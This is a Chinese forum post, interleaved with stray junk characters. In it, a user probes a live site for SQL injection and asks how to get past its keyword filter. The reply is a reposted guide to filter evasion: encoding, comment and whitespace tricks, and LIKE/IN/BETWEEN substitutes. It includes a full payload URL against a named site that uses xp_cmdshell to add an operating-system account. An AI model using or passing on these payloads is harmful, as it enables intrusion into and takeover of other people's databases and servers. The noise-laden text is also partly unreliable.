路过这个网站,检测了一下.
" |- h" Q4 b' X" ^http://www.xxx.cn/Article.asp?ID=117 and 1=1
7 q9 A; e5 _, [" x! k直接返回主页& C( B0 |2 s' P- K& \0 `
http://www.xxx.cn/Article.asp?ID=117 or 1=1% j; S7 d# ~% F3 L+ t5 k
直接返回主页
4 s2 W' V7 h- K; L8 z/ Bhttp://www.xxx.cn/Article.asp?ID=117 or
+ A" n" K' G9 P. N1 t没有返回主页 没有过滤or/ f6 t% Q! M: u7 y1 H
http://www.xxx.cn/Article.asp?ID=117 and2 F1 P. H: e* i
直接返回主页 看来过滤了and: F( T: x2 T8 E$ @
http://www.xxx.cn/Article.asp?ID=117 or 1
" y( F" m8 C6 t/ c, X- b+ g没有返回主页 即没有过滤or 也没有过滤1( g( {" E, l& m& _- U* s7 l
http://www.xxx.cn/Article.asp?ID=117 or 1=1& G/ z( \/ y& Z$ v0 D. G5 D
直接返回主页 很明显过滤了等号 * [' [; M4 r4 J9 v+ k4 L4 O7 \9 h& L0 r
or的特性是与and相反的.( p0 y' y, F; K$ m% l5 ^
or 1=1 爆错 或与原页面不同9 h+ ]* b/ }+ Z6 B7 ]5 ]3 N9 A/ j
or 1=2 原页面相同
; L6 G8 s2 {4 T1 u/ l4 y5 G7 J这样就是一个注入点* @( L7 F: l4 C. x* M6 C% D- b7 w/ i
但他过滤了=号 我就用><号代替=号吧!
3 {, J( P, k7 w" Zor 1<2 很明显是正确的,所以应该与原页面不同
: ^9 J1 Y+ t2 q$ `or 1>2 很明显是错误的,所以应该与原页面相同7 e) e6 Z7 r5 m' ~
然后看看有没有过滤其他的查询语句,比如select.8 L9 N/ g+ u1 w& r; a
http://www.xxx.cn/Article.asp?ID=117 select9 C( j8 i2 w& j! I" G
直接返回主页
7 w8 l. h+ g% I8 E( D% z1 K又迷茫了..9 d# e& |& O2 p8 l# k" C: x) i
$ @' \: F2 A ]7 D
2 g9 K4 }9 X4 [. n) n% B# x( k
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗4 O; A: m& Y, K' W
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
' _: n1 B6 D/ r2 e9 J0 M================================================. \/ |2 _0 s% u: b" g, o; A$ N
以下是转贴:
( g, V4 }( D& d- _( ?1 D9 A. I# e" i8 L$ e2 e" w M; @- o7 P
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
& f. E& D; S3 [* \4 U. ]经过我的收集,大部分的防注入程序都过滤了以下关键字:
) U5 ^ f* o( l: O& yand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
$ b& V, N6 o1 ?4 u; a3 [而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
9 e+ {$ n* \3 S2 W. E) g8 s! g( Q, v# Q对于关键字的过滤,以下是我收集的以及我个人的一些想法。
3 m5 w; Z; c: _. a; `( I1 s1、运用编码技术绕过 7 b9 `2 E0 C. Y: L
如URLEncode编码,ASCII编码绕过。例如or 1=1即
4 {6 F/ ~. m" v2 [+ P%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
. r- w) R5 S& ?9 }: j7 }! w) m! X! \( K
2、通过空格绕过 0 J# [# m: r8 l/ _- _8 m) O
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 * y# H! v4 u- W6 }
or’ swords’ =‘swords’
8 e. S, |! T" y0 i* Y% G7 t8 H,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
, S+ i: n) O5 c& q2 x0 a4 X2 F3、运用字符串判断代替 8 H# o* V6 Q+ ~: O+ l
用经典的or 1=1判断绕过,如
9 Q+ H0 N _; S0 w6 For ’swords’ =’swords’ # D7 ^' u( |+ i; q
,这个方法就是网上在讨论的。 $ M: ]- `& v3 X( ?9 t
4、通过类型转换修饰符N绕过 % `2 c& r% w' V& |7 S( B+ F
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
: ~) [) x! X1 R5 }0 F5、通过+号拆解字符串绕过
# k1 c) z Q7 o" e3 o+ X! f效果值得考证,但毕竟是一种方法。如 ) t; y/ u9 K. k) d0 n
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) $ s6 J1 |( G+ U) L6 p$ P: r4 d& R
, Y( l' \7 Q K5 h) X( x' j6、通过LIKE绕过 : A/ c8 g X3 W1 @
以前怎么就没想到呢?如or $ }1 E! w1 R8 v: } v
’swords’ LIKE ’sw’
8 O* A+ i1 m' u!!!显然可以很轻松的绕过
" i w- ?2 m4 n! q“=”“>” ' [! K8 S- l4 S5 R! v
的限制……
" y' f G( O5 P) P9 F4 p7、通过IN绕过
. e3 `7 d/ U/ |0 t与上面的LIKE的思路差不多,如
$ F, B+ {4 {8 N5 V' k2 q8 Tor ’swords’ IN (’swords’) # }& p! ^( [( f- r& }: t
' _1 R( r4 H. v, H7 e& L. ^8、通过BETWEEN绕过
& L8 x% r# b+ f如
* N; h6 R/ A/ q3 [% w0 R$ oor ’swords’ BETWEEN ’rw’ AND ’tw’ e; G8 z# {- K" Z) j
3 W' s8 j2 @& R9、通过>或者<绕过
( e$ [6 B% O' h2 b9 o K For ’swords’ > ’sw’
: W" x: z8 w* V7 x% C( Gor ’swords’ < ’tw’
8 X4 n6 R3 b2 R& h) `or 1<3
& S% [3 \4 _% _4 v…… ! X; g( X. C& T9 e6 K
10、运用注释语句绕过 " W7 ?/ U7 s D9 W: j( @8 S
用/**/代替空格,如:
: R. Y* B) ~- u$ oUNION /**/ Select /**/user,pwd,from tbluser
: G; z7 |! z. _7 @% h) ?7 ?: V, R, q. V/ l* X
用/**/分割敏感词,如: " X, z8 L3 }! j- i4 N7 P
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser * T6 `" P5 T& [% K# l4 Y
1 C" @2 d* e; `" x; q
11、用HEX绕过,一般的IDS都无法检测出来 ( m1 \; d0 {! J: P: o- w+ m
0x730079007300610064006D0069006E00 =hex(sysadmin)
/ ?- |1 Y1 o! B# n0x640062005F006F0077006E0065007200 =hex(db_owner)
8 a5 z5 N- u, G. K7 o另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: * |: o; P' P s9 Y$ p: g$ T# b
declare @a sysname # x9 {+ X$ B8 ^) ?$ |$ J
select @a= 9 k) R/ g x$ N7 b% @9 }! s0 U
exec master.dbo.xp_cmdshell @a
7 K3 w! R# F! B5 k效果 2 l- Q, E# [. j% p. Y6 O' W$ D# t5 x
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- $ N1 t: k4 T1 {+ G' r4 Z8 H
3 t; `2 v1 z5 |6 [" l
其中的
4 W1 \. p0 R: b' e5 @5 n0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
% k7 o7 g0 P0 S& I就是
; {( P: j1 T4 e# _4 J, ]$ X“net user angel pass /add”
/ l" S$ V6 i' h7 L9 P6 Q1 H1 V" r6 [9 m @3 h7 X6 w
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
3 d) f" r$ d2 m9 t引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。: y+ j$ A* N7 t w
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
5 I- Y0 c6 }2 o7 RCopy code
) M* ]6 J+ W; z: @. E# ~( g4 Hselect * from table exec xp_cmdshell'xxxxxxxxxx'
+ @& E6 p9 I0 }$ m3 ?7 F( A7 Y+ Y6 z& e6 F8 U6 g) T( q+ |4 J" o
, S' `' {& k! h& {
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
; X1 L5 B* ^* d" O
9 c h2 [- }/ d9 p$ ^! K8 s
0 N3 _8 [+ w. R7 A3 p9 _select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
' @) _- y [9 C Z8 X! {
+ O/ X O3 R+ L. M- P; t) g! G3 V) v7 I0 X8 `) k
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'6 O$ a- t; p \( e( n3 `
/ R1 Z' z$ Q; K3 ~+ {5 i4 g的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?# t: c+ K; H L/ V; V+ a! T
/ Q6 b, @$ m+ @' O2 ?" q( U) o9 ?; D
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
" b6 l# R1 E/ R可能大家早就知道了,不管怎么说,发在这里吧!0 X1 t- q; U% S6 {! I
/ l i1 i; @) Z7 ?; U, N
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。: E- e# |3 ~0 `$ P0 k
, w5 V+ U5 P3 f& b5 G5 f3 j7 J5 ~
, e. j* q, j' J" Z: }- | W# Q9 ~5 M7 V+ w2 y1 c4 d( C/ M- D5 j# i
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,: J7 v3 C/ [1 g6 x+ w' m* e
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? * F+ R9 ~* L5 X/ v
! j, ^ M. p, |5 }1 A+ T" B |